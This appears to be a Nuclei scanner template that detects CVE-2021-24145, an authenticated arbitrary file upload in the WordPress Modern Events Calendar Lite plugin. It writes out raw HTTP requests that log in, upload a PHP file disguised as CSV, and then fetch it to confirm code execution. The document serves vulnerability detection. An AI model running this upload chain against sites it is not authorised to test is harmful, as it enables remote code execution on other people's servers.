71 lines
2.8 KiB
YAML
71 lines
2.8 KiB
YAML
id: CVE-2021-24145
|
|
|
|
info:
|
|
name: WordPress Modern Events Calendar Lite <5.16.5 - Authenticated Arbitrary File Upload
|
|
author: theamanrawat
|
|
severity: high
|
|
description: |
|
|
WordPress Modern Events Calendar Lite plugin before 5.16.5 is susceptible to authenticated arbitrary file upload. The plugin does not properly check the imported file, allowing PHP files to be uploaded and/or executed by an administrator or other high-privilege user using the text/csv content-type in the request. This can possibly lead to remote code execution.
|
|
impact: |
|
|
Remote code execution
|
|
remediation: Fixed in version 5.16.5.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/f42cc26b-9aab-4824-8168-b5b8571d1610
|
|
- https://downloads.wordpress.org/plugin/modern-events-calendar-lite.5.15.5.zip
|
|
- https://github.com/dnr6419/CVE-2021-24145
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-24145
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 7.2
|
|
cve-id: CVE-2021-24145
|
|
cwe-id: CWE-434
|
|
epss-score: 0.94936
|
|
epss-percentile: 0.99118
|
|
cpe: cpe:2.3:a:webnus:modern_events_calendar_lite:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 3
|
|
vendor: webnus
|
|
product: modern_events_calendar_lite
|
|
framework: wordpress
|
|
tags: cve,cve2021,auth,wpscan,wordpress,wp-plugin,wp,modern-events-calendar-lite,rce,intrusive,webnus
|
|
|
|
variables:
|
|
string: "CVE-2021-24145"
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wp-login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
log={{username}}&pwd={{password}}&wp-submit=Log+In
|
|
- |
|
|
POST /wp-admin/admin.php?page=MEC-ix&tab=MEC-import HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
|
Content-Type: multipart/form-data; boundary=---------------------------132370916641787807752589698875
|
|
|
|
-----------------------------132370916641787807752589698875
|
|
Content-Disposition: form-data; name="feed"; filename="{{randstr}}.php"
|
|
Content-Type: text/csv
|
|
|
|
<?php echo md5("{{string}}");unlink(__FILE__);?>
|
|
|
|
-----------------------------132370916641787807752589698875
|
|
Content-Disposition: form-data; name="mec-ix-action"
|
|
|
|
import-start-bookings
|
|
-----------------------------132370916641787807752589698875--
|
|
- |
|
|
GET /wp-content/uploads/{{randstr}}.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body_3
|
|
words:
|
|
- '{{md5(string)}}'
|
|
# digest: 4a0a00473045022100eb908dd55285a9d68012b0deb023c829756d657d18a89b83a500e349b9414fdc0220797b8bd8acbf0f11d56926e26306dcaaf73faad50e06780881b5dcea9c5251ca:922c64590222798bb761d5b6d8e72950 |